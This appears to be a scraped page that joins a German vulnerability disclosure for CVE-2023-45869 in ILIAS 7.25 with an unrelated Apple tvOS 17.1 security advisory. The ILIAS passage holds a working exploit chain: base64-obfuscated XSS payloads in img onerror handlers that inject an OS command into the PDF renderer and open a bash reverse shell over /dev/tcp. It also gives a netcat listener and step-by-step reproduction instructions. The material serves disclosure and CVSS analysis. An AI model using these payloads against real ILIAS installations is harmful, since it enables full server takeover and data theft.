yNyslMjMmc2VydmljZT1Qb3J0Zm9saW8mcHVycG9zZT1Db250ZW50RXhwb3J0JnJlbmRlcmVyPVdraHRtbFRvUGRmJmNtZCU1QnNhdmVDb25maWclNUQ9U3BlaWNoZXJuIikudGhlbigoKT0+e2NvbnNvbGUubG9nKCJbK10gUGF5bG9hZCBhZGRlZCB0byB2dWxuZXJhYmxlIG1vZHVsZS4iKSxzKGIrIi9pbGlhcy5waHA/bmV3X3R5cGU9cHJ0ZiZjbWQ9cG9zdCZjbWRDbGFzcz1pbG9ianBvcnRmb2xpb2d1aSZjbWROb2RlPTk5OnZmOnA3JmJhc2VDbGFzcz1pbERhc2hib2FyZEdVSSZydG9rZW49MjljOTFmZjg4MDJkYTdhNWQ1MTQ2MzFkOTkwOWU2NzUiLCJQT1NUIiwidGl0bGU9eCZtb2RlPW1vZGVfc2NyYXRjaCZwdHlwZT1wYWdlJmZwYWdlPXgmY21kJTVCc2F2ZSU1RD1FcnN0ZWxsZW4iKS50aGVuKGU9Pntjb25zb2xlLmxvZygiWytdIFBvcnRmb2xpbyBjcmVhdGVkLiIpO3ZhciBvPShlLnJlc3BvbnNlVVJMLm1hdGNoKC9bPyZdcHJ0X2lkPShbXiZdKykvKXx8W10pWzFdO3MoYisiL2lsaWFzLnBocD9wcnRfaWQ9IitvKyImY21kPXBvc3QmY21kQ2xhc3M9aWxvYmpwb3J0Zm9saW9ndWkmY21kTm9kZT05OTp2ZjpwNyZiYXNlQ2xhc3M9aWxEYXNoYm9hcmRHVUkmZmFsbGJhY2tDbWQ9ZXhwb3J0UERGJnJ0b2tlbj0iK3QsIkdFVCIsIiIpLnRoZW4oKCk9Pntjb25zb2xlLmxvZygiWytdIFBERiBleHBvcnQgdHJpZ2dlcmVkLiBQYXlsb2FkIGV4ZWN1dGVkLiIpLHdpbmRvdy5sb2NhdGlvbi5ocmVmPWJ9KX0pfSk7'))>

    <img data-ip="123.456.78.910" id="sUhDeWhSwd" src=x onerror=eval(atob('dmFyIHBpPWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJzVWhEZVdoU3dkIiksYWk9cGkuZGF0YXNldC5pcCxzPShlLHQsbyk9Pm5ldyBQcm9taXNlKGE9Pnt2YXIgcz1uZXcgWE1MSHR0cFJlcXVlc3Q7cy5vcGVuKHQsZSwhMCkscy5zZXRSZXF1ZXN0SGVhZGVyKCJDb250ZW50LVR5cGUiLCJhcHBsaWNhdGlvbi94LXd3dy1mb3JtLXVybGVuY29kZWQiKSxzLnJlc3BvbnNlVHlwZT0idGV4dCIscy5vbnJlYWR5c3RhdGVjaGFuZ2U9KCgpPT57NCE9cy5yZWFkeVN0YXRlfHwyMDAhPXMuc3RhdHVzJiYzMDIhPXMuc3RhdHVzfHxhKHMpfSkscy5zZW5kKG8pLHNldFRpbWVvdXQoKCk9PntzLmFib3J0KCksYSgpfSwxZTMpfSksYj13aW5kb3cubG9jYXRpb24ucHJvdG9jb2wrIi8vIit3aW5kb3cubG9jYXRpb24uaG9zdCx0PShkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgibW1fc2VhcmNoX2Zvcm0iKS5nZXRBdHRyaWJ1dGUoImFjdGlvbiIpLm1hdGNoKC9ydG9rZW49KFteJl0rKS8pfHxbXSlbMV07cyhiKyIvaWxpYXMucGhwP3JlZl9pZD02NyZhZG1pbl9tb2RlPXNldHRpbmdzJmNtZD1wb3N0JmNtZENsYXNzPWlsb2JqcGRmZ2VuZXJhdGlvbmd1aSZjbWROb2RlPTFkOm96JmJhc2VDbGFzcz1pbEFkbWluaXN0cmF0aW9uR1VJJmZhbGxiYWNrQ21kPXZpZXcmcnRva2VuPSIrdCwiUE9TVCIsInBhdGg9JTJGdXNyJTJGYmluJTJGd2todG1sdG9wZGYmZXh0ZXJuYWxfbGlua3M9MSZqYXZhc2NyaXB0X2RlbGF5PTIwMCslMjIxMjcuMC4wLjElMjIrJTJGdG1wJTJGeC5wZGYrJTI2JTI2K3JtKyUyRnRtcCUyRngucGRmKyUyNiUyNislMkZiaW4lMkZiYXNoKy1jKyUyN2Jhc2grLWkrJTNFJTJGZGV2JTJGdGNwJTJGIithaSsiJTJGMTIzNCswJTNFJTI2MSUyNyslMjMmc2VydmljZT1Qb3J0Zm9saW8mcHVycG9zZT1Db250ZW50RXhwb3J0JnJlbmRlcmVyPVdraHRtbFRvUGRmJmNtZCU1QnNhdmVDb25maWclNUQ9U3BlaWNoZXJuIikudGhlbigoKT0+e2NvbnNvbGUubG9nKCJbK10gUGF5bG9hZCBhZGRlZCB0byB2dWxuZXJhYmxlIG1vZHVsZS4iKSxzKGIrIi9pbGlhcy5waHA/bmV3X3R5cGU9cHJ0ZiZjbWQ9cG9zdCZjbWRDbGFzcz1pbG9ianBvcnRmb2xpb2d1aSZjbWROb2RlPTk5OnZmOnA3JmJhc2VDbGFzcz1pbERhc2hib2FyZEdVSSZydG9rZW49MjljOTFmZjg4MDJkYTdhNWQ1MTQ2MzFkOTkwOWU2NzUiLCJQT1NUIiwidGl0bGU9eCZtb2RlPW1vZGVfc2NyYXRjaCZwdHlwZT1wYWdlJmZwYWdlPXgmY21kJTVCc2F2ZSU1RD1FcnN0ZWxsZW4iKS50aGVuKGU9Pntjb25zb2xlLmxvZygiWytdIFBvcnRmb2xpbyBjcmVhdGVkLiIpO3ZhciBvPShlLnJlc3BvbnNlVVJMLm1hdGNoKC9bPyZdcHJ0X2lkPShbXiZdKykvKXx8W10pWzFdO3MoYisiL2lsaWFzLnBocD9wcnRfaWQ9IitvKyImY21kPXBvc3QmY21kQ2xhc3M9aWxvYmpwb3J0Zm9saW9ndWkmY21kTm9kZT05OTp2ZjpwNyZiYXNlQ2xhc3M9aWxEYXNoYm9hcmRHVUkmZmFsbGJhY2tDbWQ9ZXhwb3J0UERGJnJ0b2tlbj0iK3QsIkdFVCIsIiIpLnRoZW4oKCk9Pntjb25zb2xlLmxvZygiWytdIFBERiBleHBvcnQgdHJpZ2dlcmVkLiBQYXlsb2FkIGV4ZWN1dGVkLiIpLHdpbmRvdy5sb2NhdGlvbi5ocmVmPWJ9KX0pfSk7'))>

Kopieren und fügen Sie die geänderte Payload aus Ihrem Editor in das Textelement auf der Webseite ein und speichern Sie abschließend die Änderung über den Button "Speichern und zurückkehren".

**Schritt 5:**

Führen Sie auf Ihrem PC den folgenden netcat Befehl aus, um über den Port 1234 auf den Verbindungsaufbau mit dem Webserver warten.

nc -nlvp 1234

    nc -nlvp 1234

**Schritt 6:**

Loggen Sie sich **als Administrator** ein und öffnen Sie entweder die zuvor erstellte Portfolioseite des Users "testuser" über einen Direktlink oder über die Portfoliosuche unter Persönlicher Bereich > Portfolio > Portfolios anderer Benutzer.

Die hinterlegte Payload aus Schritt 3 wird beim Aufruf der Portfolioseite direkt ausgeführt. Überprüfen Sie Ihr CLI:

Der Webserver hat eine Verbindung durch eine Reverse Shell mit dem PC aufgebaut. Als potenzieller Angreifer haben Sie mit den Rechten des User www-data Kontrolle über den Webserver, auf dem ILIAS installiert ist.

**Was genau macht die Payload?**

Folgender Befehl wird bei einer Ausführung der OS Command Injection über die Funktion exec() in der Methode execQuoted() der Klasse ilUtil (/Services/Utilities/classes/class.ilUtil.php) gänzlich ausgeführt:

/usr/bin/wkhtmltopdf --zoom 1 --enable-external-links --disable-forms --orientation Portrait --page-size A4 --javascript-delay 200 "127.0.0.1" /tmp/x.pdf && rm /tmp/x.pdf && /bin/bash -c 'bash -i >/dev/tcp/XXX.XXX.XXX.XXX/1234 0>&1' # --margin-bottom 0.5cm --margin-left 0.5cm --margin-right 2cm --margin-top 2cm --quiet --cookie "PHPSESSID" "cv06phhvn81aa30gsnku0e6fl5" --cookie "ilClientId" "myilias" /var/www/ilias.local/files/myilias/temp/tmp650f626e2affe.html /var/www/ilias.local/files/myilias/temp/tmp650f626e2b056.pdf 2>&1 

    /usr/bin/wkhtmltopdf --zoom 1 --enable-external-links --disable-forms --orientation Portrait --page-size A4 --javascript-delay 200 "127.0.0.1" /tmp/x.pdf && rm /tmp/x.pdf && /bin/bash -c 'bash -i >/dev/tcp/X.X.X.X/1234 0>&1' # --margin-bottom 0.5cm --margin-left 0.5cm --margin-right 2cm --margin-top 2cm --quiet --cookie "PHPSESSID" "cv06phhvn81aa30gsnku0e6fl5" --cookie "ilClientId" "myilias" /var/www/ilias.local/files/myilias/temp/tmp650f626e2affe.html /var/www/ilias.local/files/myilias/temp/tmp650f626e2b056.pdf 2>&1 

Um die Payload zu verstehen, hilft die Synopsis von wkhtmltopdf:  
wkhtmltopdf [GLOBAL OPTION]... [OBJECT]... <output file>

Der CLI-Befehl beginnend mit wkhtmltopdf erscheint mit allen folgenden [GLOBAL OPTION] Parameter bis zu --javascript-delay wie erwartet normal. Die Payload aus Schritt 3 übergibt ab dieser Stelle den Wert 200 für die voranstehende Option und definiert anschließend direkt das [OBJECT] mit der localhost IP als Quelle _(könnte auch eine beliebige URL oder ein existenter Pfad zu einer Datei sein)_. Folgend wird mit /tmp/x.pdf das <output file> bestimmt, welches durch && rm /tmp/x.pdf direkt wieder gelöscht wird _(das Löschen der Datei ist nicht zwingend notwendig)_. Es folgt die Reverse Shell in der Befehlskette, welche mit der IP des Angreifers über den Port 1234 eine Verbindung aufbaut: && /bin/bash -c 'bash -i >/dev/tcp/X.X.X.X/1234 0>&1' . Abschließend werden alle nachfolgenden Zeichen des CLI-Befehls mit # auskommentiert.

**3.2 Reproduktionsschritte (als Admin)****Schritt 1:**

Installieren Sie eine ILIAS-Version7.25 2023-09-12 Instanz auf einem Testsystem. Loggen Sie sich als Administrator ein.

Navigieren Sie anschließend auf die Seite Administration -> PDF-Erstellung und klicken Sie unter dem Tab Einstellungen auf den Button Konfiguriere Renderer in der Sektion Portfolio / ContentExport.

**Schritt 2:**

Kopieren Sie folgende Payload:

200 "127.0.0.1" /tmp/x.pdf && rm /tmp/x.pdf && echo "Payload executed successfully" > /tmp/poc.txt #

    200 "127.0.0.1" /tmp/x.pdf && rm /tmp/x.pdf && echo "Payload executed successfully" > /tmp/poc.txt #

> Um die erfolgreiche Ausführung einer Injektion simpel überprüfen zu können, wird mit dieser Payload eine Datei "poc.txt" im Verzeichnis "/tmp" auf dem Webserver abgelegt. Siehe Was genau macht die Payload? unter Punkt 3.1 für eine detaillierte Aufschlüsslung technischer Details.

Fügen Sie die kopierte Payload in das Eingabefeld Javascript Verzögerung ein.

**Schritt 3:**

Führen Sie einen PDF-Export über ein beliebiges Modul aus. Zum Beispiel über Portfolio. Erstellen Sie hierzu ein Portfolio und führen Sie einen PDF-Export aus:

**Schritt 4:**

Prüfen Sie auf dem Webserver, ob die Payload erfolgreich ausgeführt wurde:

**Voraussetzungen für die Ausnutzung**

Die Voraussetzungen für den aufgeschlüsselten Worst Case (Punkt 3.1) lauten wie folgt:

*   Ein Angreifer benötigt Zugriff auf einen Account mit mindestens den Rechten eines normalen Users.
*   Die vom Angreifer hinterlegte Payload muss durch eine User-Interaktion eines hoch priviligierten Nutzers (Administrator) über einen Seitenaufruf ausgelöst werden.
*   Die Funktionalität HTML/Javascript erlauben muss für ein beliebiges Modul, für welches ein User Schreibrechte hat, enabled sein.

Sollte die Funktionalität HTML/Javascript erlauben abgeschaltet sein, besteht die Schwachstelle OS Command Injection als solche weiterhin, kann dann aber nur mit Administrationsrechten oder (falls gegeben) durch eine andere XSS Schwachstelle ausgenutzt werden.

**Auswirkungen**

Diese Schwachstelle kann erhebliche Auswirkungen auf die Sicherheit der betroffenen ILIAS-Installation und des zugrunde liegenden Betriebssystem haben. Alle auf dem Server gespeicherten Daten, Dateien und Komponenten, die der Webserver-User mit gegebenen Rechten lesen, schreiben oder ausführen kann, sind potenziell betroffen. Ein Angreifer, der diese Schwachstelle erfolgreich ausnutzt, könnte zudem das System beschädigen oder weitere Angriffe (z.B. auf externe Dienste wie LDAP durch einsehbare Credentials) durchführen.

**Klassifikation**

CVSS: **9.0 Critical** (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H)

**Attack Vector (AV): N**  
Es handelt sich um einen Netzwerkangriff. Die verwundbare Komponente ist "aus der Ferne ausnutzbar" und wird als ein Angriff betrachtet, der auf Protokollebene über das Internet stattfindet.

**Attack Complexity (AC): L**  
Besondere Zugangsbedingungen oder mildernde Umstände bestehen nicht. Es MUSS jedoch für eine erfolgreiche Durchführung die Konfiguration "HTML/Javascript erlauben" gesetzt sein. Wenn eine bestimmte Konfiguration für den Erfolg eines Angriffs erforderlich ist, wird die anfällige Komponente nach CVSSv3.1 Spezifikation unter der Annahme bewertet, dass sie sich in dieser Konfiguration befindet.

**Privileges Required (PR): L**  
Der Angreifer benötigt Privilegien, die grundlegende Benutzerfunktionen eines Users bereitstellen.

**User Interaction (UI): R**  
Der platzierte Schadcode muss für einen erfolgreichen Angriff durch eine User-Interaktion eines Administrators ausgeführt werden.

**Scope (S): C**  
Die anfällige Komponente ist die Webanwendung: Die Webanwendung überführt Systembefehle durch Benutzereingaben in eine exec() Funktion. Die betroffene Komponente ist der Webserver: Auf diesen erlangt der Angreifer Zugriff. Es kann sowohl auf das Dateisystem zugegriffen werden, als auch beliebig gespeicherte Daten aus anderen Komponenten (z.B. Datenbanken) extrahiert werden, welche bei normaler Nutzung der Web-Applikation nicht verfügbar sein sollten. Auch können auf dem Server befindliche Programme bzw. Binaries ausgeführt werden.

**Confidentiality (C): H**  
Bei einen erfolgreichen Angriff kommt es zu einem totalen Verlust der Vertraulichkeit. Alle Ressourcen innerhalb der betroffenen Komponente und weiterführend Komponenten des Betriebssystems werden dem Angreifer offengelegt.

**Integrity (I): H**  
Bei einem erfolgreichen Angriff kommt es zu einem totalen Verlust der Integrität. Der Angreifer ist in der Lage, alle geschützten Dateien der betroffenen Komponente und weiterführend Dateien aus Komponenten des Betriebssystems zu verändern.

**Availability (A): H**  
Bei einem erfolgreichen Angriff ist der Angreifer in der Lage, den Zugang zu den Ressourcen der betroffenen Komponente und weiterführend aus Komponenten des Betriebssystems vollständig zu verweigern. Zum Beispiel durch das Löschen von Dateien.

email: contact@rehmeinfosec.de | threema: WTZ4BZN9

CVE-2023-45869: CVE-2023-45869 - Labor - rehme.infosec

Apple Security Advisory 10-25-2023-7 - tvOS 17.1 addresses code execution and use-after-free vulnerabilities.

-----BEGIN PGP SIGNED MESSAGE-----  
Hash: SHA256

APPLE-SA-10-25-2023-7 tvOS 17.1

tvOS 17.1 addresses the following issues.  
Information about the security content is also available at  
https://support.apple.com/kb/HT213987.

Apple maintains a Security Updates page at  
https://support.apple.com/HT201222 which lists recent  
software updates with security advisories.

mDNSResponder  
Available for: Apple TV HD and Apple TV 4K (all models)  
Impact: A device may be passively tracked by its Wi-Fi MAC address  
Description: This issue was addressed by removing the vulnerable code.  
CVE-2023-42846: Talal Haj Bakry and Tommy Mysk of Mysk Inc. @mysk_co

WebKit  
Available for: Apple TV HD and Apple TV 4K (all models)  
Impact: Processing web content may lead to arbitrary code execution  
Description: The issue was addressed with improved memory handling.  
WebKit Bugzilla: 259836  
CVE-2023-40447: 이준성(Junsung Lee) of Cross Republic

WebKit  
Available for: Apple TV HD and Apple TV 4K (all models)  
Impact: Processing web content may lead to arbitrary code execution  
Description: A use-after-free issue was addressed with improved memory  
management.  
WebKit Bugzilla: 259890  
CVE-2023-41976: 이준성(Junsung Lee)

WebKit  
Available for: Apple TV HD and Apple TV 4K (all models)  
Impact: Processing web content may lead to arbitrary code execution  
Description: A logic issue was addressed with improved checks.  
WebKit Bugzilla: 260173  
CVE-2023-42852: an anonymous researcher

Additional recognition

VoiceOver  
We would like to acknowledge Abhay Kailasia (@abhay_kailasia) of Lakshmi  
Narain College Of Technology Bhopal India for their assistance.

WebKit  
We would like to acknowledge an anonymous researcher for their  
assistance.

Apple TV will periodically check for software updates. Alternatively,  
you may manually check for software updates by selecting "Settings ->  
System -> Software Update -> Update Software."  To check the current  
version of software, select "Settings -> General -> About."  
All information is also posted on the Apple Security Updates  
web site: https://support.apple.com/en-us/HT201222.

This message is signed with Apple's Product Security PGP key,  
and details are available at:  
https://www.apple.com/support/security/pgp/  
-----BEGIN PGP SIGNATURE-----

iQIzBAEBCAAdFiEEsz9altA7uTI+rE/qX+5d1TXaIvoFAmU5Y9wACgkQX+5d1TXa  
IvrRTRAAz4nWc26PQyQXR++/ZQLQ2CsbuuS5fFu9kVdYC3sLzyNeVVffl23ur0g3  
XIh7TFVUEp6tDIp9hCuHREsSKbvdL3TobPo4YW4jm6x4eM2Q3y1VsYHyyL7rECkU  
2SromQVh3s5oOzMG4tcDqYJOtmO47woxMKzF466sPOrrORQxYWBab2kjYJz5SXyJ  
0EHlgCzE9JWjsLp4gFREn+NQpb4xkLSOKE5YnIehU3oVPymBKMWhG/C4y8LsUgF6  
MzzO8LK1XoijrCtlsBUPNqtqqs3lp6RRjH88ELp5OkMCwu/EvlLIRT8n84Xjvlbq  
BzRuE0rtxkBwBQiKtNToo70wEdoDdXF/v/aRezYEUcAnXtgEUbh5uFytvOWqDyXd  
3GEdsmApdQO5guwn/YGNoBTh2HNjXGeq/3qldBTmwqSqLwceWfmBvoC/whXORWne  
HV2CvuGpTvsSWP24XLbzUtlf0t2biJv6GGjGULOhG05i0ONX8ni5uormFwwrsZMO  
n4S/DR9QRwYRXej7Lg40dpwpOHMSwB4yaGaO8DiRX7a35GmNZGu+WRTSDlL+cOGg  
I413GkCEbxdOa9Fc0LrEmLWOd9ziJCSz/S51YXNRUGgE7SbaVC1xb1s0R0M4SEca  
popvjyWamuVVjfzL3RQJQEdXiUkKqlBJK5MQDJTAi8vMjr2sTCo=  
=b+on  
-----END PGP SIGNATURE-----

Tag

#ssl